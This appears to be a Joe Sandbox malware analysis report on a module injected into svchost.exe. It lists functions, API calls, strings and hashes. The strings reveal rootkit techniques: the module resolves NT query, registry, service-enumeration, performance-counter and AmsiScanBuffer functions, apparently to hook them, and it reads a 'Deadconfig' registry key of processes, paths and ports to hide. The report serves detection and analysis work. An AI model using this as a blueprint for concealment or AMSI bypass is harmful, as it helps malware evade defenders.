API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 8415c691aaee8c46f1d02063215c92c698de3b3fb4a93955248209b4c764c50b
Instruction ID: 7c9554ebe337213b1a6bf704eb19815aaf95e40af5af9b43b49e71941156e171
Opcode Fuzzy Hash: 8415c691aaee8c46f1d02063215c92c698de3b3fb4a93955248209b4c764c50b
Instruction Fuzzy Hash: 25E0E571611A41C6F748DB62D80C25D7FB1FB98B16F888024C90D07B24EE3A84998A11

Analysis Process: svchost.exePID: 356, Parent PID: 6968COMMON

Executed Functions

Function 00000179537A1268 Relevance: 5.0, APIs: 4, Instructions: 21
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00000179537A126E
HeapAlloc.KERNEL32 ref: 00000179537A127D
GetProcessHeap.KERNEL32 ref: 00000179537A1297
HeapAlloc.KERNEL32 ref: 00000179537A12A8

Memory Dump Source

Source File: 00000013.00000002.2945741012.00000179537A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Associated: 00000013.00000002.2944981979.00000179537A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2946667615.00000179537B3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2947430953.00000179537BD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2948178325.00000179537BF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2948931761.00000179537C5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_179537a0000_svchost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: f083a3077c0b1c945921efc18f57caeeb55b99edd70e436b0099e2dca6254ff4
Instruction ID: fd83984981116aed06685cbe97e3da0b5b2e6a9a462ecd18c27b458a06e19b63
Opcode Fuzzy Hash: f083a3077c0b1c945921efc18f57caeeb55b99edd70e436b0099e2dca6254ff4
Instruction Fuzzy Hash: DFE03931A01A1486F7058BA6D82838937F5EB89B09F068026890907350EF7D84DD8740

Function 00000179537A3618 Relevance: 4.5, APIs: 3, Instructions: 39
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 00000179537A3631
PathFindFileNameW.SHLWAPI ref: 00000179537A3640

Part of subcall function 00000179537A3C70: StrCmpNIW.KERNELBASE(?,?,?,00000179537A255A), ref: 00000179537A3C88

Part of subcall function 00000179537A3BB8: GetModuleHandleW.KERNEL32(?,?,?,?,?,00000179537A3657), ref: 00000179537A3BC6
Part of subcall function 00000179537A3BB8: GetCurrentProcess.KERNEL32(?,?,?,?,?,00000179537A3657), ref: 00000179537A3BF4
Part of subcall function 00000179537A3BB8: VirtualProtectEx.KERNEL32(?,?,?,?,?,00000179537A3657), ref: 00000179537A3C16
Part of subcall function 00000179537A3BB8: GetCurrentProcess.KERNEL32(?,?,?,?,?,00000179537A3657), ref: 00000179537A3C34
Part of subcall function 00000179537A3BB8: VirtualProtectEx.KERNEL32(?,?,?,?,?,00000179537A3657), ref: 00000179537A3C55

CreateThread.KERNELBASE ref: 00000179537A3687

Part of subcall function 00000179537A1D3C: GetCurrentThread.KERNEL32 ref: 00000179537A1D47

Memory Dump Source

Source File: 00000013.00000002.2945741012.00000179537A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Associated: 00000013.00000002.2944981979.00000179537A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2946667615.00000179537B3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2947430953.00000179537BD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2948178325.00000179537BF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2948931761.00000179537C5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_179537a0000_svchost.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: 78a450f75234da4d748a8cc1e146820bb39c36540aa3f900bd2c9a3848025828
Instruction ID: de24395b8c1a38dc45c7b3a3b1ac26e3373c402ab4f74e848d58820298ab377d
Opcode Fuzzy Hash: 78a450f75234da4d748a8cc1e146820bb39c36540aa3f900bd2c9a3848025828
Instruction Fuzzy Hash: C3115230E3C63042F7A6AFA0A9193DA17B1F75734DF904917A81E86BD4EF78C14C8600

Function 00000179537A3C70 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpNIW.KERNELBASE(?,?,?,00000179537A255A), ref: 00000179537A3C88

Strings

Dead, xrefs: 00000179537A3C81

Memory Dump Source

Source File: 00000013.00000002.2945741012.00000179537A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Associated: 00000013.00000002.2944981979.00000179537A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2946667615.00000179537B3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2947430953.00000179537BD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2948178325.00000179537BF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2948931761.00000179537C5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_179537a0000_svchost.jbxd

Similarity

API ID:
String ID: Dead
API String ID: 0-1293411866
Opcode ID: 6fb73889c1581f2e1b76d9bdaa8d74932699fe8d643b78f0f876c7c0ad846881
Instruction ID: e51760706036231befb810831e180465e36e38ee26d31d1285eafa68599e5b95
Opcode Fuzzy Hash: 6fb73889c1581f2e1b76d9bdaa8d74932699fe8d643b78f0f876c7c0ad846881
Instruction Fuzzy Hash: 2AD05E30B25A5986FF569FE188A42A123B0EB05708F888026D9090A744FB18898D8A10

Function 0000017953772AB8 Relevance: 1.7, APIs: 1, Instructions: 241libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE ref: 0000017953772C29

Memory Dump Source

Source File: 00000013.00000003.1829522378.0000017953770000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017953770000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_3_17953770000_svchost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 24c55482e3ee7e9e3b87009127322f5f012175c8db73c85287ddc3c1b6fbd12d
Instruction ID: ebb275aeddb53b213d2c35c48b3707ba1f48d8465785839e46d0e873d6136234
Opcode Fuzzy Hash: 24c55482e3ee7e9e3b87009127322f5f012175c8db73c85287ddc3c1b6fbd12d
Instruction Fuzzy Hash: 04912372B052A087EB66CF25D044BADB3F1F759B9CF548126DE6E17788DA38D84AC700

Function 00000179537A1AC8 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000179537A1628: GetProcessHeap.KERNEL32 ref: 00000179537A1633
Part of subcall function 00000179537A1628: HeapAlloc.KERNEL32 ref: 00000179537A1642
Part of subcall function 00000179537A1628: RegOpenKeyExW.ADVAPI32 ref: 00000179537A16B2
Part of subcall function 00000179537A1628: RegOpenKeyExW.ADVAPI32 ref: 00000179537A16DF
Part of subcall function 00000179537A1628: RegCloseKey.ADVAPI32 ref: 00000179537A16F9
Part of subcall function 00000179537A1628: RegOpenKeyExW.ADVAPI32 ref: 00000179537A1719
Part of subcall function 00000179537A1628: RegCloseKey.ADVAPI32 ref: 00000179537A1734
Part of subcall function 00000179537A1628: RegOpenKeyExW.ADVAPI32 ref: 00000179537A1754
Part of subcall function 00000179537A1628: RegCloseKey.ADVAPI32 ref: 00000179537A176F
Part of subcall function 00000179537A1628: RegOpenKeyExW.ADVAPI32 ref: 00000179537A178F
Part of subcall function 00000179537A1628: RegCloseKey.ADVAPI32 ref: 00000179537A17AA
Part of subcall function 00000179537A1628: RegOpenKeyExW.ADVAPI32 ref: 00000179537A17CA

SleepEx.KERNELBASE ref: 00000179537A1AE3

Part of subcall function 00000179537A1628: RegCloseKey.ADVAPI32 ref: 00000179537A17E5
Part of subcall function 00000179537A1628: RegOpenKeyExW.ADVAPI32 ref: 00000179537A1805
Part of subcall function 00000179537A1628: RegCloseKey.ADVAPI32 ref: 00000179537A1820
Part of subcall function 00000179537A1628: RegOpenKeyExW.ADVAPI32 ref: 00000179537A1840
Part of subcall function 00000179537A1628: RegCloseKey.ADVAPI32 ref: 00000179537A185B
Part of subcall function 00000179537A1628: RegOpenKeyExW.ADVAPI32 ref: 00000179537A187B
Part of subcall function 00000179537A1628: RegCloseKey.ADVAPI32 ref: 00000179537A1896
Part of subcall function 00000179537A1628: RegCloseKey.ADVAPI32 ref: 00000179537A18A0

Memory Dump Source

Source File: 00000013.00000002.2945741012.00000179537A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Associated: 00000013.00000002.2944981979.00000179537A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2946667615.00000179537B3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2947430953.00000179537BD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2948178325.00000179537BF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2948931761.00000179537C5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_179537a0000_svchost.jbxd

Similarity

API ID: CloseOpen$Heap$AllocProcessSleep
String ID:
API String ID: 948135145-0
Opcode ID: 64999c0117d7972c63d36e484e4b5c22b997d5fb2e44b7ed48be0e5086276bc0
Instruction ID: e371bbdcb710b3b1f3bd7141db62182442529be2e2552f900b02f707f6bd5434
Opcode Fuzzy Hash: 64999c0117d7972c63d36e484e4b5c22b997d5fb2e44b7ed48be0e5086276bc0
Instruction Fuzzy Hash: 0A214175F2862086FB539B23E9513E913F9AB86BC8F8454239E0D877D5FF20C8598600

Function 00000179537AB980 Relevance: 1.3, APIs: 1, Instructions: 36
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapAlloc.KERNEL32(?,?,00000000,00000179537AB521,?,?,?,00000179537AB969,?,?,?,?,00000179537ABA1D), ref: 00000179537AB9D5

Memory Dump Source

Source File: 00000013.00000002.2945741012.00000179537A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Associated: 00000013.00000002.2944981979.00000179537A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2946667615.00000179537B3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2947430953.00000179537BD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2948178325.00000179537BF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2948931761.00000179537C5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_179537a0000_svchost.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 49727549add3322cc68842f1d13a6e156a3df9b4bb079db6988531afba47aa00
Instruction ID: 1c40080099cc52d3c9dcca413355167f472cffc1f754622ae68ff761bb1d5343
Opcode Fuzzy Hash: 49727549add3322cc68842f1d13a6e156a3df9b4bb079db6988531afba47aa00
Instruction Fuzzy Hash: 74F0B430B2D724C0FE575BA698623E513F46B8BB88F1C14334D0E863D2EE1CC48C8210

Function 00000179537AAF2C Relevance: 1.3, APIs: 1, Instructions: 29
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapAlloc.KERNEL32(?,?,FFFFFFFD,00000179537ACB34,?,?,?,?,00000000,?,?,00000179537ACDAA), ref: 00000179537AAF6A

Memory Dump Source

Source File: 00000013.00000002.2945741012.00000179537A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Associated: 00000013.00000002.2944981979.00000179537A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2946667615.00000179537B3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2947430953.00000179537BD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2948178325.00000179537BF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2948931761.00000179537C5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_179537a0000_svchost.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: eabd024f12aa82453ee564882910b13ac1f2febc2a6eec2d2d3d6cb5c1003b12
Instruction ID: 51bd3cb2eabd572575b63a283e9cbfc54843773de3296f8d08a0071726e54ed0
Opcode Fuzzy Hash: eabd024f12aa82453ee564882910b13ac1f2febc2a6eec2d2d3d6cb5c1003b12
Instruction Fuzzy Hash: 95F08271B3CA6881FE9A17B258517F513B04F467A8F0806226C2E863C2EA28C4488610

Non-executed Functions

Function 00000179537A81B0 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00000179537A81CC
RtlCaptureContext.NTDLL ref: 00000179537A81F9
RtlLookupFunctionEntry.NTDLL ref: 00000179537A8213
RtlVirtualUnwind.NTDLL ref: 00000179537A8254
IsDebuggerPresent.KERNEL32 ref: 00000179537A82A8
SetUnhandledExceptionFilter.KERNEL32 ref: 00000179537A82C9
UnhandledExceptionFilter.KERNEL32 ref: 00000179537A82D4

Memory Dump Source

Source File: 00000013.00000002.2945741012.00000179537A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Associated: 00000013.00000002.2944981979.00000179537A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2946667615.00000179537B3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2947430953.00000179537BD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2948178325.00000179537BF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2948931761.00000179537C5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_179537a0000_svchost.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: ead5fadb83694ce98b6326e54bc9fbf3eb966a3b9ea24560d629fcd35623205e
Instruction ID: c98caccae00ad8e6a31e9f00c42efeafa6666d66ff6067c2c6d952f6ec1815dd
Opcode Fuzzy Hash: ead5fadb83694ce98b6326e54bc9fbf3eb966a3b9ea24560d629fcd35623205e
Instruction Fuzzy Hash: EC316D72619B90DAEB618F60E8507EE7770F789748F44402ADA8E47B98EF38C64CC710

Function 00000179537AB62C Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 00000179537AB6A5
RtlLookupFunctionEntry.NTDLL ref: 00000179537AB6BD
RtlVirtualUnwind.NTDLL ref: 00000179537AB6F8
IsDebuggerPresent.KERNEL32 ref: 00000179537AB731
SetUnhandledExceptionFilter.KERNEL32 ref: 00000179537AB73B
UnhandledExceptionFilter.KERNEL32 ref: 00000179537AB746

Memory Dump Source

Source File: 00000013.00000002.2945741012.00000179537A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Associated: 00000013.00000002.2944981979.00000179537A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2946667615.00000179537B3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2947430953.00000179537BD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2948178325.00000179537BF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2948931761.00000179537C5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_179537a0000_svchost.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: e0d741da526e6e52bfddd8974ed83ffa82d96d60d1008cadd4c23b489aa9e4de
Instruction ID: 58d5a3877f2971adb160d580c45db64ddee175af295985bb9f243493a48143d3
Opcode Fuzzy Hash: e0d741da526e6e52bfddd8974ed83ffa82d96d60d1008cadd4c23b489aa9e4de
Instruction Fuzzy Hash: 25318032618F9096EB61CF65E8507DE73B0F78A758F540116EA8D43BA4EF38C159CB00

Function 000001795377B150 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 165COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000001795377B180

Strings

*?, xrefs: 000001795377B1A7
HIJKLMNOPQRSTUVWXYZ, xrefs: 000001795377B503

Memory Dump Source

Source File: 00000013.00000003.1829522378.0000017953770000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017953770000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_3_17953770000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: *?$HIJKLMNOPQRSTUVWXYZ
API String ID: 3215553584-1407779936
Opcode ID: 0f32a7f2b4fad7165c24a511c7a5f2eb758ad1cabc3439966c459bfc2effdee2
Instruction ID: 65473043afd4ccdccb754a68518eafa20becd055afe61dc9edf888d91a074527
Opcode Fuzzy Hash: 0f32a7f2b4fad7165c24a511c7a5f2eb758ad1cabc3439966c459bfc2effdee2
Instruction Fuzzy Hash: A451A172B15BA485EF16DFA698006ED27F1F75ABDCF444526EE1D17B86DA38C049C300

Function 00000179537A1628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00000179537A1633
HeapAlloc.KERNEL32 ref: 00000179537A1642

Part of subcall function 00000179537A1268: GetProcessHeap.KERNEL32 ref: 00000179537A126E
Part of subcall function 00000179537A1268: HeapAlloc.KERNEL32 ref: 00000179537A127D
Part of subcall function 00000179537A1268: GetProcessHeap.KERNEL32 ref: 00000179537A1297
Part of subcall function 00000179537A1268: HeapAlloc.KERNEL32 ref: 00000179537A12A8

Part of subcall function 00000179537A1000: GetProcessHeap.KERNEL32 ref: 00000179537A1006
Part of subcall function 00000179537A1000: HeapAlloc.KERNEL32 ref: 00000179537A1015
Part of subcall function 00000179537A1000: GetProcessHeap.KERNEL32 ref: 00000179537A1028
Part of subcall function 00000179537A1000: HeapAlloc.KERNEL32 ref: 00000179537A1037

RegOpenKeyExW.ADVAPI32 ref: 00000179537A16B2
RegOpenKeyExW.ADVAPI32 ref: 00000179537A16DF
RegCloseKey.ADVAPI32 ref: 00000179537A16F9
RegOpenKeyExW.ADVAPI32 ref: 00000179537A1719
RegCloseKey.ADVAPI32 ref: 00000179537A1734
RegOpenKeyExW.ADVAPI32 ref: 00000179537A1754
RegCloseKey.ADVAPI32 ref: 00000179537A176F
RegOpenKeyExW.ADVAPI32 ref: 00000179537A178F
RegCloseKey.ADVAPI32 ref: 00000179537A17AA
RegOpenKeyExW.ADVAPI32 ref: 00000179537A17CA
RegCloseKey.ADVAPI32 ref: 00000179537A17E5
RegOpenKeyExW.ADVAPI32 ref: 00000179537A1805
RegCloseKey.ADVAPI32 ref: 00000179537A1820
RegOpenKeyExW.ADVAPI32 ref: 00000179537A1840
RegCloseKey.ADVAPI32 ref: 00000179537A185B
RegOpenKeyExW.ADVAPI32 ref: 00000179537A187B
RegCloseKey.ADVAPI32 ref: 00000179537A1896
RegCloseKey.ADVAPI32 ref: 00000179537A18A0

Part of subcall function 00000179537A12BC: RegQueryInfoKeyW.ADVAPI32 ref: 00000179537A1319
Part of subcall function 00000179537A12BC: GetProcessHeap.KERNEL32 ref: 00000179537A1327
Part of subcall function 00000179537A12BC: HeapAlloc.KERNEL32 ref: 00000179537A1338
Part of subcall function 00000179537A12BC: RegEnumValueW.ADVAPI32 ref: 00000179537A1397
Part of subcall function 00000179537A12BC: GetProcessHeap.KERNEL32 ref: 00000179537A13DF
Part of subcall function 00000179537A12BC: HeapAlloc.KERNEL32 ref: 00000179537A13ED
Part of subcall function 00000179537A12BC: GetProcessHeap.KERNEL32 ref: 00000179537A140A
Part of subcall function 00000179537A12BC: HeapFree.KERNEL32 ref: 00000179537A1418
Part of subcall function 00000179537A12BC: lstrlenW.KERNEL32 ref: 00000179537A1421
Part of subcall function 00000179537A12BC: GetProcessHeap.KERNEL32 ref: 00000179537A142F
Part of subcall function 00000179537A12BC: HeapAlloc.KERNEL32 ref: 00000179537A143D

Strings

process_names, xrefs: 00000179537A174D
udp, xrefs: 00000179537A1874
paths, xrefs: 00000179537A1788
pid, xrefs: 00000179537A1712
startup, xrefs: 00000179537A16D5
service_names, xrefs: 00000179537A17C3
SOFTWARE\Deadconfig, xrefs: 00000179537A1692
tcp_remote, xrefs: 00000179537A1839
tcp_local, xrefs: 00000179537A17FE

Memory Dump Source

Source File: 00000013.00000002.2945741012.00000179537A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Associated: 00000013.00000002.2944981979.00000179537A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2946667615.00000179537B3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2947430953.00000179537BD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2948178325.00000179537BF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2948931761.00000179537C5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_179537a0000_svchost.jbxd

Similarity

API ID: Heap$CloseOpenProcess$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\Deadconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 2135414181-3864762265
Opcode ID: f4bb390ec195533d0d08c97f362a19cf980481d45eb9fb13aebdfbbaa82a3014
Instruction ID: f6e1de72a24323e2c5da371c4544f58b4e3702e796ff59a300745ef8d2f0d468
Opcode Fuzzy Hash: f4bb390ec195533d0d08c97f362a19cf980481d45eb9fb13aebdfbbaa82a3014
Instruction Fuzzy Hash: C5711F36B28E2885FB12AF66E8606D937B5FB86B8CF401112DD4D47B68EF38C448C740

Function 00000179537A1D3C Relevance: 31.6, APIs: 1, Strings: 17, Instructions: 80
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 00000179537A1D47

Part of subcall function 00000179537A20C0: GetModuleHandleA.KERNEL32(?,?,?,00000179537A1D79), ref: 00000179537A20D8
Part of subcall function 00000179537A20C0: GetProcAddress.KERNEL32(?,?,?,00000179537A1D79), ref: 00000179537A20E9

Part of subcall function 00000179537A5F50: GetCurrentThreadId.KERNEL32 ref: 00000179537A5F8B

Strings

NtQueryDirectoryFileEx, xrefs: 00000179537A1DC4
NtEnumerateValueKey, xrefs: 00000179537A1DFE
NtQuerySystemInformation, xrefs: 00000179537A1D6D
PdhGetRawCounterArrayW, xrefs: 00000179537A1E98
EnumServiceGroupW, xrefs: 00000179537A1E18
AmsiScanBuffer, xrefs: 00000179537A1EDA
NtQueryDirectoryFile, xrefs: 00000179537A1DA7
sechost.dll, xrefs: 00000179537A1E61
NtResumeThread, xrefs: 00000179537A1D8A
EnumServicesStatusExW, xrefs: 00000179537A1E39, 00000179537A1E5A
ntdll.dll, xrefs: 00000179537A1D55
PdhGetFormattedCounterArrayW, xrefs: 00000179537A1EB9
amsi.dll, xrefs: 00000179537A1EE1
NtEnumerateKey, xrefs: 00000179537A1DE1
advapi32.dll, xrefs: 00000179537A1E1F, 00000179537A1E40
NtDeviceIoControlFile, xrefs: 00000179537A1E7E
pdh.dll, xrefs: 00000179537A1E9F, 00000179537A1EC0

Memory Dump Source

Source File: 00000013.00000002.2945741012.00000179537A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Associated: 00000013.00000002.2944981979.00000179537A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2946667615.00000179537B3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2947430953.00000179537BD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2948178325.00000179537BF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2948931761.00000179537C5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_179537a0000_svchost.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: AmsiScanBuffer$EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$PdhGetFormattedCounterArrayW$PdhGetRawCounterArrayW$advapi32.dll$amsi.dll$ntdll.dll$pdh.dll$sechost.dll
API String ID: 4175298099-4225371247
Opcode ID: 4705abceb593070c5488a5deecb4e4079e35b8c621484f12281ef43e977e1bc4
Instruction ID: 144786ca67ee834590dcdd2ce572057f11d56842eb5103a61e565e1afeddc219
Opcode Fuzzy Hash: 4705abceb593070c5488a5deecb4e4079e35b8c621484f12281ef43e977e1bc4
Instruction Fuzzy Hash: 724164B0E29A6AE0FA47EF64E8A17D42375A70634CF845423D40D17B75AE38C68ED360

Function 0000017953776D30 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 0000017953776D58
__scrt_acquire_startup_lock.LIBCMT ref: 0000017953776DAA
_RTC_Initialize.LIBCMT ref: 0000017953776DD8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 0000017953776DFE
__scrt_release_startup_lock.LIBCMT ref: 0000017953776E29

Strings

bad array new length, xrefs: 0000017953776E5B

Memory Dump Source

Source File: 00000013.00000003.1829522378.0000017953770000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017953770000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_3_17953770000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: bad array new length
API String ID: 190073905-1242854226
Opcode ID: 7ac826a7eb3537126ab8904f743de0d1d5af83f297bd596e103e72928a1e623e
Instruction ID: 117a70c9fd4a5af8f6538bebe1d0b72fa41e995df5b9e41a9d619c1a81635272
Opcode Fuzzy Hash: 7ac826a7eb3537126ab8904f743de0d1d5af83f297bd596e103e72928a1e623e
Instruction Fuzzy Hash: 5581E631F1C2A186FB53AB2594413E967F1BB4778CF44456BEA0C937AADB78C84E8710

Function 00000179537A2FA0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 74
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PdhGetCounterInfoW.PDH ref: 00000179537A2FF5
GetProcessHeap.KERNEL32 ref: 00000179537A300A
HeapAlloc.KERNEL32 ref: 00000179537A3018
PdhGetCounterInfoW.PDH ref: 00000179537A302E
StrCmpW.SHLWAPI ref: 00000179537A3043

Part of subcall function 00000179537A3558: StrCmpNW.SHLWAPI ref: 00000179537A357A
Part of subcall function 00000179537A3558: StrStrW.SHLWAPI ref: 00000179537A3594
Part of subcall function 00000179537A3558: StrToIntW.SHLWAPI ref: 00000179537A35BB

GetProcessHeap.KERNEL32 ref: 00000179537A3080
HeapFree.KERNEL32 ref: 00000179537A308E

Strings

\GPU Engine(*)\Running Time, xrefs: 00000179537A303C

Memory Dump Source

Source File: 00000013.00000002.2945741012.00000179537A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Associated: 00000013.00000002.2944981979.00000179537A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2946667615.00000179537B3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2947430953.00000179537BD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2948178325.00000179537BF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2948931761.00000179537C5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_179537a0000_svchost.jbxd

Similarity

API ID: Heap$CounterInfoProcess$AllocFree
String ID: \GPU Engine(*)\Running Time
API String ID: 1943346504-1805530042
Opcode ID: 4320c3d255521c8809fbccc0c000ef70dc88065294953a5bba07585d713a8765
Instruction ID: 2895b2554e113aa91f9c480ce72561ef6d74b28a13f9fa80c9b3b14ce7caa0f1
